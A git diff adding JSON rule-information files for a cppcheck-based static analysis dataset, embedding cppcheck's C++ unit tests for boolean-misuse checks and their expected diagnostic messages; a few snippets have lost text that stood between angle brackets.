\" bool f() { return -1;}\\n\"\n \" };\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:24]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBool)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfFuncReturningBool.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfFuncReturningBool.json new file mode 100644 index 0000000..e8800c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfFuncReturningBool.json @@ -0,0 +1,29 @@ +{ + "name": "checkComparisonOfFuncReturningBool", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 36, + "branches": 14, + "apis": 44, + "test": [ + { + "description": null, + "expected-problems": 8, + "expected-linenumbers": [ + 547, + 571, + 597, + 609, + 634, + 658, + 717, + 735 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkbool.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestBool : public TestFixture {\npublic:\n TestBool() : TestFixture(\"TestBool\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).certainty(Certainty::inconclusive).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(bitwiseOnBoolean); // if (bool & bool)\n TEST_CASE(incrementBoolean);\n TEST_CASE(assignBoolToPointer);\n TEST_CASE(assignBoolToFloat);\n\n TEST_CASE(comparisonOfBoolExpressionWithInt1);\n TEST_CASE(comparisonOfBoolExpressionWithInt2);\n TEST_CASE(comparisonOfBoolExpressionWithInt3);\n TEST_CASE(comparisonOfBoolExpressionWithInt4);\n\n TEST_CASE(comparisonOfBoolWithInt1);\n TEST_CASE(comparisonOfBoolWithInt2);\n TEST_CASE(comparisonOfBoolWithInt3);\n TEST_CASE(comparisonOfBoolWithInt4);\n TEST_CASE(comparisonOfBoolWithInt5);\n TEST_CASE(comparisonOfBoolWithInt6); // #4224 - integer is casted to bool\n TEST_CASE(comparisonOfBoolWithInt7); // #4846 - (!x == true)\n TEST_CASE(comparisonOfBoolWithInt8); // #9165\n TEST_CASE(comparisonOfBoolWithInt9); // #9304\n TEST_CASE(comparisonOfBoolWithInt10); // #10935\n\n TEST_CASE(checkComparisonOfFuncReturningBool1);\n TEST_CASE(checkComparisonOfFuncReturningBool2);\n TEST_CASE(checkComparisonOfFuncReturningBool3);\n TEST_CASE(checkComparisonOfFuncReturningBool4);\n TEST_CASE(checkComparisonOfFuncReturningBool5);\n TEST_CASE(checkComparisonOfFuncReturningBool6);\n TEST_CASE(checkComparisonOfFuncReturningBool7); // #7197\n TEST_CASE(checkComparisonOfFuncReturningBool8); // #4103\n // Integration tests..\n TEST_CASE(checkComparisonOfFuncReturningBoolIntegrationTest1); // #7798 overloaded functions\n\n TEST_CASE(checkComparisonOfBoolWithBool);\n\n // Converting pointer addition result to bool\n TEST_CASE(pointerArithBool1);\n\n TEST_CASE(returnNonBool);\n TEST_CASE(returnNonBoolLambda);\n TEST_CASE(returnNonBoolLogicalOp);\n TEST_CASE(returnNonBoolClass);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n\n void assignBoolToPointer() {\n check(\"void foo(bool *p) {\\n\"\n \" p = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n check(\"void foo(bool *p) {\\n\"\n \" p = (x[rSize];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #6588 (c mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6588 (c++ mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6665\n check(\"void pivot_big(char *first, int compare(const void *, const void *)) {\\n\"\n \" char *a = first, *b = first + 1, *c = first + 2;\\n\"\n \" char* m1 = compare(a, b) < 0\\n\"\n \" ? (compare(b, c) < 0 ? b : (compare(a, c) < 0 ? c : a))\\n\"\n \" : (compare(a, c) < 0 ? a : (compare(b, c) < 0 ? c : b));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7381\n check(\"void foo(bool *p, bool b) {\\n\"\n \" p = b;\\n\"\n \" p = &b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n }\n\n void assignBoolToFloat() {\n check(\"void foo1() {\\n\"\n \" double d = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo2() {\\n\"\n \" float d = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo3() {\\n\"\n \" long double d = (2>1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n // stability - don't crash:\n check(\"void foo4() {\\n\"\n \" unknown = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" float p;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" s.p = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" float* p[1];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" *s.p[0] = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt1() {\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x & 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x | 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3 || (8 && x)==9)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:2:32]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)!=3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 0)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 1)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if (0 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (0 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x > false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false < x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x < false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false > x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x >= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false >= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x <= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false <= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"typedef int (*func)(bool invert);\\n\"\n \"void x(int, func f);\\n\"\n \"void foo(int error) {\\n\"\n \" if (error == ABC) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !a+b1){} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (a != !b || c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !!a + !!b + !!c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !(a+b)) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\",errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt3() {\n check(\"int f(int x) {\\n\"\n \" return t<0>() && x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt4() {\n // #5016\n check(\"void f() {\\n\"\n \" for(int i = 4; i > -1 < 5 ; --i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return (a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return x(a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return a > b == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // templates\n check(\"struct Tokenizer { TokenList list; };\\n\"\n \"void Tokenizer::f() {\\n\"\n \" std::list locationList;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5063 - or\n check(\"void f() {\\n\"\n \" return a > b or c < d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return (a < b) != 0U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 0x0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 42U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool1() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool2() {\n check(\"void leftOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(compare(temp) > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void rightOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(a < compare(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\"\n \"[test.cpp:11:7]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool3() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare(temp) > temp){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp);\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:3:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool4() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" if(compare1(temp)> b){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool5() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > !compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool6() {\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"int compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(::compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(foo.compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool7() { // #7197\n check(\"struct C {\\n\"\n \" bool isEmpty();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c1, c2;\\n\"\n \" if ((c1.isEmpty()) < (c2.isEmpty())) {}\\n\"\n \" if (!c1.isEmpty() < !!c2.isEmpty()) {}\\n\"\n \" if ((int)c1.isEmpty() < (int)c2.isEmpty()) {}\\n\"\n \" if (static_cast(c1.isEmpty()) < static_cast(c2.isEmpty())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:7:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:8:24]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:9:36]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\",\n errout_str());\n }\n\n void checkComparisonOfFuncReturningBool8() { // #4103\n // op: >\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b > a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b < a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: >=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b >= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b <= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBoolIntegrationTest1() { // #7798\n check(\"bool eval(double *) { return false; }\\n\"\n \"double eval(char *) { return 1.0; }\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if ( eval(argv[1]) > eval(argv[2]) )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfBoolWithBool() {\n const char code[] = \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" bool a = compare1(4);\\n\"\n \" if(b > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void bitwiseOnBoolean() { // 3062\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n 